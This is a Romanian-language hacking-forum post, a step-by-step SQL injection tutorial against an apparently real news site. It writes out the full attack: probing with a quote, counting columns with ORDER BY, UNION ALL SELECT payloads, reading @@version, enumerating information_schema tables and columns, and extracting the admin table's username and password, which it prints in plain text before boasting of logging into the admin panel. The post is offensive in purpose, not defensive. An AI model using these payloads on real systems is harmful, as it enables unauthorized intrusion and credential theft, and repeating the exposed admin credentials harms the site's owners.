roby_selesan
Administrator
 Inregistrat: acum 17 ani
Postari: 35
|
|
Dupa cum ati cerut destul de multi dintre voi un Tutorial SQL Injection.Deci sa incepem :
Prima data sa gasim un site:
Acuma cautam vulnerabilitatea, este aici :
Acuma dupa 77 punem '
Ne-a aparut erroarea... perfect. Acum stim ca siteul este vulnerabil. Aceasta este eroarea: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/focus/public_html/stire.php on line 12
Acum ca stim ca e vulnerabil folosim order by--
ca sa aflam numarul de coloane din db sql. order by 100--
Am scris un numar mare de coloane: 100 ,observ ca inca apare eroarea.Acum scriu in loc de 100, 1. order by 1--
Eroarea a disparut.Acum stim ca are mai mult de 1 coloana si mai putin de 100.Scriem acum order by 10-- , sa vedem daca sunt mai multe sau mai putine de 10. Eroarea a aparut deci are mai putin de 10 coloane.Acum scriem by 5-- .Observam ca eroarea nu apare... deci are mai putin de 10 si mai mult de 5. Acuma punem order by 6-- , observam ca erroare nu apare, atunci punem 7 ... observam ca eroare apare din nou. Acum am aflat ca are 6 coloane.Fupa aceea folosim union all select
: union all select 1,2,3,4,5,6--
Vad ca nu apare nimic...deci functia union nu functioneaza...Acuma intram aici :
Acuma facem ce am aratat la inceput si ajungem aici : union all select 1,2,3,4,5,6,7--
Observam ca nu apare nimic la union.. haideti atunci sa schimbam acel id din url... punem in loc de 9, -1 Acuma apar doua erori care inainte nu apareau, deci este vulnerabil, stim ca sunt 7 coloane ( am aflat din incercarile trecute), acum facem functia union union all select 1,2,3,4,5,6,7--
Acuma observam niste numere, (un 3 mai jos un 7 si mai jos un 6), acelea sunt coloanele vulnerabile. Acum vom incerca sa aflam versiunea din union all select 1,2,3,4,5,6,7-- .Inlocuim de exemplu 3 sau 7 sau 6 ...cu @@version
. Inlocuim 3 : union all select 1,2,@@version,4,5,6,7--
Deci am aflat versiunea este : 5.0.67-community. Acuma daca este mai mare de 5 folosim information_schema ,daca este mai mica de 5 ghicim totul.Avand in vedere ca este mai mare de 5 folosim information_schema. Acuma punem in loc de 3 din union table_name
ca sa aflam numele tabelelor, si dupa 7 adaugam from information_schema.tables-- union all select 1,2,table_name,4,5,6,7 from information_schema.tables
Acuma apare CHARACTER_SETS, este unul dintre tabele, noua ne trebuie ceva in genul user,admin,utilizatori,etc...
Acuma ca sa avansam catre urmatorul tabel folosim limit.Adaugam dupa information_schema.tables limit 1,1-- union all select 1,2,table_name,4,5,6,7 from information_schema.tables limit 1,1--
Acuma inlocuim 1,1 cu 2,1 si tot asa pana dam de ceva concret gen admin ...
Acuma la 33,1 am gasit n_admin.
Acuma am aflat numele tabelului, mai trebuie si coloana din el.Acum inlocuim table_name cu column_name si in information_schema.tables scriem information_schema.columns union all select 1,2,column_name,4,5,6,7 from information_schema.columns limit 33,1--
Acuma ca sa fim mai smecher scriem direct : union all select 1,2,3,4,5,6,7 from n_admin--
Acuma sa gasim niste nume de coloane de exemplu : username,user,name,pass,password astea sunt cele mai folosite.
Punem in loc de 3, username si vedem ca nu ne arata nimic, incercam si cu user. Vdedem ca apare "focus" acela este username-ul adminului.Acuma mai trebuie sa aflam si parola, scriem in loc de user, password, vedem ca ne-a apaut "eco" aceasta este parola adminului. Acuma haideti sa facem sa arate c4 n1st3 h4xx0r1 l33t, in loc de 3 scriem concat(user,char(58),password)
. Acuma ne putem loga la admin panel :
Tutorial:roby_selesan
_______________________________________ I killing you
|
|